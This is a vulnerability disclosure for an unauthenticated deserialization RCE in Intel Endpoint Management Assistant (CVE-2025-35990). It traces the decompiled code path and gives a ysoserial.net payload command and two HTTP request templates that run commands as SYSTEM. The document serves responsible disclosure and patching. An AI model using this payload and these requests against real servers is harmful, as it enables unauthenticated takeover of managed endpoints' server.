Intel Endpoint Management Assistant Unauthenticated Remote Code Execution
-
Max Keasley - Published: 16 Jun 2026
- Type: Remote Code Execution
- Severity: High
Max Keasley Intel Endpoint Management Assistant < 1.14.5
CVE-2025-35990
Reversec identified and exploited an unauthenticated remote code execution vulnerability in Intel® Endpoint Management Assistant (EMA). This would allow an attacker to execute code on the underlying server as the account configured to run the service. Reversec demonstrated this by crafting an HTTP GET request with specific directives, which resulted in insecure deserialization of an attacker controlled object within the EMAAjaxServer.exe process.
In the .NET Framework (.NET), deserialization is the process of converting a stream of bytes (or another serialized format) back into live objects in memory. .NET offers several serializers including BinaryFormatter which was capable of serializing and deserializing arbitrary object graphs, including private fields and complex types, without the need for explicit schema definitions.
However, because BinaryFormatter reconstructs objects based on type names and field data in the stream, it is vulnerable to deserialization attacks: a malicious actor can craft a payload that, when deserialized, instantiates objects that execute harmful code paths (e.g., triggeringObjectDataProvider, TypeConfuseDelegate, or other deserialization gadgets) or cause denial-of-service via resource exhaustion. These attacks exploit the fact that BinaryFormatter does not validate the incoming data, making it a prime target for remote code execution vulnerabilities in applications that accept untrusted data. Microsoft has issued a warning that BinaryFormatter is insecure and can’t be made secure.
EMAAjaxServer.exe was responsible for exposing Ajax related functionality and was reachable via the IIS hosted web application at /ajax/ path on port 443 or directly on port 8084. In order to reach the vulnerable code-path on either of the HTTP services, a number of requirements for a HTTP GET request needed to be satisfied, these are discussed per service in the following sections. For both routes; a serialized payload which executes whoami and writes the result to C:\Reversec.txt was generated with the following ysoserial.net command:
ysoserial.exe -f BinaryFormatter -g ClaimsIdentity -o base64 -c "cmd.exe /c whoami > C:\Reversec.txt"
To reach the vulnerable sink via the standard IIS managed website the following criteria were identified to be required:
/ajax//MeshR2TX/redirectionRC GET parameter that contains a BinaryFormatter url safe base64 encoded serialized data which is prepended with MRC needs to be providedThe vulnerable source functionality within CentralAjaxServer.ProcessContext which could be reached from an unauthenticated perspective can be seen as follows:
// Token: 0x06000025 RID: 37 RVA: 0x00004BC8 File Offset: 0x00002DC8
private void ProcessContext(HttpListenerContext context)
//[...SNIP...]
if (
text3.StartsWith("/MeshR2TX/redirection") &&
context.Request.Url.Segments.Length > 2
){
this._processContextAmt.ProcessMeshR2TxForRedirection(this, context, flag);
return;
//[...SNIP...]
The ProcessMeshR2TxForRedirection function fetches the value of the RC GET parameter and passes the context and the parameter to CheckRoutingCookieAndUser.
// MeshAjaxServer.code.ProcessContext.ProcessContextAmt
// Token: 0x06000170 RID: 368 RVA: 0x00012854 File Offset: 0x00010A54
public void ProcessMeshR2TxForRedirection(CentralAjaxServer centralAjaxServer, HttpListenerContext context, bool hasAjaxInPath) {
string text = context.Request.QueryString["RC"];
Guid guid;
RoutingCookie routingCookie;
if (
!this._processContextUtility.CheckRoutingCookieAndUser(centralAjaxServer, context, text, false, out guid, out routingCookie)
)
//[...SNIP...]
CheckRoutingCookieAndUser checks the encryptedRoutingCookie passed via the RC GET parameter and passes it to DecodeRoutingCookie for further processing.
// MeshAjaxServer.code.ProcessContext.ProcessContextUtility
// Token: 0x06000178 RID: 376 RVA: 0x00013090 File Offset: 0x00011290
public bool CheckRoutingCookieAndUser(CentralAjaxServer centralAjaxServer, HttpListenerContext context, string encryptedRoutingCookie, bool isForWsman, out Guid userId, out RoutingCookie routingCookie) {
userId = Guid.Empty;
routingCookie = null;
if (string.IsNullOrWhiteSpace(encryptedRoutingCookie)) {
string text = this.CreateInternalWsmanErrorMessage("Encrypted routing cookie is not available.", isForWsman, ProcessContextUtility.InternalWsmanErrorCode.RoutingCookieNotAvailable);
centralAjaxServer.Debug(SoftwareManager.EventSeverity.Error, text, null);
centralAjaxServer.FailHttpContextTracking(context, 400, text, true);
return false;
}
routingCookie = RoutingCookie.DecodeRoutingCookie(centralAjaxServer.ServerSettings.RoutingKey, encryptedRoutingCookie);
//[...SNIP...]
The DecodeRoutingCookie and DecodeRoutingCookieEx wrapper functions lead to a call to DecodeRoutingCookieEx.
// Token: 0x060001BE RID: 446 RVA: 0x0000CE48 File Offset: 0x0000B048
public static RoutingCookie DecodeRoutingCookie(string key, string msg) {
return RoutingCookie.DecodeRoutingCookieEx(key, msg, true);
}
// Token: 0x060001BF RID: 447 RVA: 0x0000CE54 File Offset: 0x0000B054
public static RoutingCookie DecodeRoutingCookieEx(string key, string msg, bool clockcheck) {
byte[] array = RoutingCookie.DecodeRoutingCookieEx(key, msg);
//[...SNIP...]
DecodeRoutingCookieEx verifies that the passed message is not null or its length is not less than 5 and the message starts with MRC. Once those criteria are satisfied, it url safe base64 decodes the encoded encrypted routing cookie which gets passed to DecryptMessage.
// Token: 0x060001C1 RID: 449 RVA: 0x0000D220 File Offset: 0x0000B420
private static byte[] DecodeRoutingCookieEx(string key, string msg) {
byte[] array;
try {
if (msg == null || msg.Length < 5 || !msg.StartsWith("MRC")) {
array = null;
}
else {
msg = MeshUtils.UrlUnEscapeBase64(msg);
byte[] array2 = null;
try {
array2 = Convert.FromBase64String(msg.Substring(3));
}
catch (Exception ex) {
MeshLogger.Log(MeshLogger.Message.Exception, "Unable to decode Routing Cookie", "", "", 1, ex);
}
if (array2 == null || array2.Length < 20) {
array = null;
}
else {
array = RoutingCookie.DecryptMessage(key, array2);
//[...SNIP...]
DecryptMessage instantiates a new AesGcmEncryption class to call the Decrypt function with the message and key.
// Token: 0x060001C3 RID: 451 RVA: 0x0000D2CE File Offset: 0x0000B4CE
public static byte[] DecryptMessage(string key, byte[] msg) {
return ((IAesGcmEncryption)new AesGcmEncryption()).Decrypt(msg, key);
}
Decrypt from the IAesGcmEncryption class instantiates a new IAuthenticatedAESCryptoHelper class to call the AESDecrypt function.
// MeshServersCommon.code.AesGcmEncryption
// Token: 0x060003EC RID: 1004 RVA: 0x000165E8 File Offset: 0x000147E8
public byte[] Decrypt(byte[] plainText, string key) {
IAuthenticatedAESCryptoHelper authenticatedAESCryptoHelper = new AuthenticatedAESCryptoHelper();
if (string.IsNullOrEmpty(key)) {
return null;
}
authenticatedAESCryptoHelper.InitializeAESEncryption(key);
OperationResult operationResult = authenticatedAESCryptoHelper.AESDecrypt(plainText, null);
//[...SNIP...]
The user controlled data has now ended up in the vulnerable sink function:
public OperationResult AESDecrypt(byte[] cipher, byte[] authenticatedData)
//[...SNIP...]
AesGcmProtectedBlob aesGcmProtectedBlob = (AesGcmProtectedBlob)new BinaryFormatter().Deserialize(memoryStream);
//[...SNIP...]
To reach the vulnerable sink via the Ajax related port the following criteria were identified:
/mesh-rlogin-digestMeshR2TX cookie presentMRC”BinaryFormatter serialized dataThe vulnerable source functionality within CentralAjaxServer.ProcessContext can be seen as follows:
private void ProcessContext(HttpListenerContext context)
//[...SNIP...]
if (
!flag &&
context.Request.Cookies["MeshR2TX"] != null &&
text3.StartsWith("/mesh-rlogin-digest") &&
context.Request.Url.Segments.Length == 2
){
this._processContextAmt.ProcessRedirectionForLoginUnderDigestAuth(this, context);
return;
//[...SNIP...]
CentralAjaxServer.ProcessContext called ProcessRedirectionForLoginUnderDigestAuth which called DecodeRoutingCookie:
// MeshAjaxServer.code.ProcessContext.ProcessContextAmt
// Token: 0x06000171 RID: 369 RVA: 0x00012988 File Offset: 0x00010B88
public void ProcessRedirectionForLoginUnderDigestAuth(CentralAjaxServer centralAjaxServer, HttpListenerContext context) {
string urlArgValue = this._processContextUtility.GetUrlArgValue(context.Request.Url.PathAndQuery, "&UR=");
string routingKey = centralAjaxServer.ServerSettings.RoutingKey;
Cookie cookie = context.Request.Cookies["MeshR2TX"];
if (RoutingCookie.DecodeRoutingCookie(routingKey, (cookie != null) ? cookie.Value : null) == null)
//[...SNIP...]
This then follows the rest of the flow shown in Port 80/443 route.
Tested on Intel EMA version 1.14.3.0 and version 1.14.4.0.
ysoserial.exe -f BinaryFormatter -g ClaimsIdentity -o base64 -c "cmd.exe /c whoami > C:\Reversec.txt"
GET request to the /ajax/MeshR2TX/redirection endpoint with the parameter ?RC=MRC. Append the payload after MRC as shown below:GET /ajax/MeshR2TX/redirection?RC=MRC<SerialisedPayloadHere> HTTP/2
Host: TARGET.LOCAL
GET request to the mesh-rlogin-digest endpoint with the cookie MeshRT2TC=MRC. Append the payload after MRC as shown belowGET /mesh-rlogin-digest HTTP/2
Host: TARGET.LOCAL:8084
Cookie: MeshR2TX=MRC<SerialisedPayloadHere>
C:\Reversec.txt file after exploiting the vulnerability on the server can be seen as follows:NT AUTHORITY\SYSTEM
Update the Intel EMA Server to the latest version: 1.14.5.0.
| Date | Action |
|---|---|
| 17 Nov 2025 | Initial disclosure to Intel |
| 1 Dec 2025 | Case number assigned by Intel |
| 25 Feb 2026 | Follow up with Intel |
| 11 Mar 2026 | Intel communicate CVE-2025-35990 is reserved and scheduled to release on 2026-05-12. |
| 12 May 2026 | CVE-2025-35990 is published |
| 16 Jun 2026 | Technical writeup for CVE-2025-35990 is published |